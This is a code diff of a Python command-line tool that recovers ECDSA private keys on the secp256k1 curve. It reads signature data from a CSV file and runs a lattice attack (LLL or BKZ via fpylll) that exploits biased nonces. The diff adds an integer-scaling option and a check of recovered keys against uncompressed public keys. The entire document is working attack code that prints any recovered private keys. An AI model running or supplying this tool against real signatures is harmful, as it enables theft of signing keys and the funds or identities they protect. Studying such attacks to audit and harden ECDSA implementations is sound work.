11#!/usr/bin/env python
22# Author: Dario Clavijo (2020)
3- # Based on:
4- # https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
5- # https://www.youtube.com/watch?v=6ssTlSSIJQE
63
74import sys
85import argparse
96import mmap
107import gmpy2
11- import binascii
12- from ecdsa import SigningKey , SECP256k1
138from fpylll import IntegerMatrix , LLL , BKZ
9+ from ecdsa import SigningKey , SECP256k1
10+
1411
15- # Default order from secp256k1 curve
1612DEFAULT_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
1713
1814
1915def modular_inv (a , b ):
20- """Efficient modular inverse"""
2116 return int (gmpy2 .invert (a , b ))
2217
2318
2419def load_csv (filename , limit = None , mmap_flag = False ):
25- """Load CSV with ECDSA data."""
2620 msgs , sigs , pubs = [], [], []
27-
2821 if mmap_flag :
2922 with open (filename , 'r' ) as f :
3023 mapped_file = mmap .mmap (f .fileno (), 0 , access = mmap .ACCESS_READ )
@@ -46,18 +39,13 @@ def load_csv(filename, limit=None, mmap_flag=False):
4639 msgs .append (int (Z , 16 ))
4740 sigs .append ((int (R , 16 ), int (S , 16 )))
4841 pubs .append (pub )
49-
5042 return msgs , sigs , pubs
5143
5244
53- def make_matrix_fpylll (msgs , sigs , B , order ):
54- """
55- Construct IntegerMatrix for fpylll reduction.
56- """
45+ def make_matrix_fpylll (msgs , sigs , B , order , integer_mode = False ):
5746 m = len (msgs )
5847 m1 , m2 = m + 1 , m + 2
5948 B2 = 1 << B
60-
6149 mat = IntegerMatrix (m2 , m2 )
6250
6351 msgn , rn , sn = msgs [- 1 ], sigs [- 1 ][0 ], sigs [- 1 ][1 ]
@@ -67,11 +55,21 @@ def make_matrix_fpylll(msgs, sigs, B, order):
6755
6856 for i in range (m ):
6957 mi_sigi_order = modular_inv (sigs [i ][1 ], order )
58+ delta_r = (sigs [i ][0 ] * mi_sigi_order - rnsn_inv ) % order
59+ delta_z = (msgs [i ] * mi_sigi_order - mnsn_inv ) % order
60+
7061 mat [i , i ] = order
71- mat [m , i ] = int ((sigs [i ][0 ] * mi_sigi_order - rnsn_inv ) % order )
72- mat [m1 , i ] = int ((msgs [i ] * mi_sigi_order - mnsn_inv ) % order )
62+ if integer_mode :
63+ mat [m , i ] = int (order * delta_r )
64+ mat [m1 , i ] = int (order * delta_z )
65+ else :
66+ mat [m , i ] = int (delta_r )
67+ mat [m1 , i ] = int (delta_z )
7368
74- mat [m , m1 ] = B2 // order
69+ if integer_mode :
70+ mat [m , m1 ] = B2
71+ else :
72+ mat [m , m1 ] = int (B2 // order )
7573 mat [m1 , m1 ] = B2
7674
7775 return mat
@@ -87,10 +85,6 @@ def reduce_matrix(matrix, algorithm="LLL"):
8785
8886
8987def privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , order , max_rows = 20 ):
90- """
91- Try recovering private keys from reduced lattice matrix.
92- """
93- from math import sqrt
9488 keys = set ()
9589 m = len (msgs )
9690 msgn , rn , sn = msgs [- 1 ], sigs [- 1 ][0 ], sigs [- 1 ][1 ]
@@ -102,10 +96,7 @@ def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
10296 c = sn * msgs [i ]
10397 d = msgn * sigs [i ][1 ]
10498 cd = (c - d ) % order
105- if a == b :
106- ab_list = None
107- else :
108- ab_list = [(a - b ) % order , (b - a ) % order ]
99+ ab_list = None if a == b else [(a - b ) % order , (b - a ) % order ]
109100 params .append ((b , cd , ab_list ))
110101
111102 row_norms = []
@@ -124,70 +115,52 @@ def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
124115 for ab in ab_list :
125116 if ab :
126117 inv = modular_inv (ab , order )
127- key = (base * inv ) % order
128- keys .add (key )
118+ keys .add ((base * inv ) % order )
129119 return list (keys )
130120
131121
132- def verify_key (privkey , pubkey_hex ) :
122+ def is_valid_key (privkey : int , pubkeys : list ) -> bool :
133123 """
134- Verifies whether the private key matches the given compressed or uncompressed pubkey .
124+ Check if privkey matches any known pubkey (hex string, uncompressed only) .
135125 """
136- sk = SigningKey .from_secret_exponent (privkey , curve = SECP256k1 )
137- vk = sk .get_verifying_key ()
126+ try :
127+ sk = SigningKey .from_secret_exponent (privkey , curve = SECP256k1 )
128+ vk = sk .get_verifying_key ()
129+ derived_hex = "04" + vk .to_string ().hex ()
130+ return derived_hex .lower () in [p .lower () for p in pubkeys ]
131+ except Exception :
132+ return False
138133
139- x = vk .pubkey .point .x ()
140- y = vk .pubkey .point .y ()
141- x_bytes = x .to_bytes (32 , byteorder = 'big' )
142134
143- # Compressed format
144- prefix = b'\x02 ' if y % 2 == 0 else b'\x03 '
145- compressed_pub = prefix + x_bytes
135+ def display_keys (keys , pubkeys ):
136+ verified = [k for k in keys if is_valid_key (k , pubkeys )]
137+ if not verified :
138+ print ("No verified keys found." )
139+ return
140+ print ("\n Verified private keys:" )
141+ for key in verified :
142+ print (f"{ key :064x} " )
146143
147- # Uncompressed format
148- uncompressed_pub = b'\x04 ' + vk .to_string ()
149-
150- pubkey_hex = pubkey_hex .lower ()
151- return (
152- pubkey_hex == compressed_pub .hex ()
153- or pubkey_hex == uncompressed_pub .hex ()
154- )
155-
156-
157- def display_keys (keys , ref_pubkey ):
158- """Display and verify recovered private keys."""
159- for key in keys :
160- status = "✔️" if verify_key (key , ref_pubkey ) else "❌"
161- print (f"{ key :064x} { status } " )
162144
163145def main ():
164146 parser = argparse .ArgumentParser (description = "ECDSA private key recovery using lattice reduction (fpylll)" )
165147 parser .add_argument ("filename" , help = "CSV file containing ECDSA traces" )
166148 parser .add_argument ("B" , type = int , help = "log2 bound parameter B" )
167149 parser .add_argument ("limit" , type = int , help = "Limit number of signatures to process" )
168- parser .add_argument (
169- "--order" , type = int , default = DEFAULT_ORDER ,
170- help = "Curve order (default: secp256k1)"
171- )
172- parser .add_argument (
173- "--reduction" , choices = ["LLL" , "BKZ" ], default = "LLL" ,
174- help = "Lattice reduction algorithm (default: LLL)"
175- )
176- parser .add_argument (
177- "--mmap" , action = "store_true" ,
178- help = "Enable mmap for fast CSV access"
179- )
180-
150+ parser .add_argument ("--order" , type = int , default = DEFAULT_ORDER , help = "Curve order (default: secp256k1)" )
151+ parser .add_argument ("--reduction" , choices = ["LLL" , "BKZ" ], default = "LLL" , help = "Lattice reduction algorithm" )
152+ parser .add_argument ("--mmap" , action = "store_true" , help = "Enable mmap for fast CSV access" )
153+ parser .add_argument ("--integer_mode" , action = "store_true" , help = "Scale matrix to ensure integer values" )
181154 args = parser .parse_args ()
182155
183156 msgs , sigs , pubs = load_csv (args .filename , limit = args .limit , mmap_flag = args .mmap )
184157 sys .stderr .write (f"Using: { len (msgs )} sigs...\n " )
185158
186- matrix = make_matrix_fpylll (msgs , sigs , args .B , args .order )
159+ matrix = make_matrix_fpylll (msgs , sigs , args .B , args .order , integer_mode = args . integer_mode )
187160 matrix = reduce_matrix (matrix , algorithm = args .reduction )
188161 keys = privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , args .order )
189- display_keys (keys )
162+ display_keys (keys , pubs )
190163
191164
192165if __name__ == "__main__" :
193- main ()
166+ main ()
0 commit comments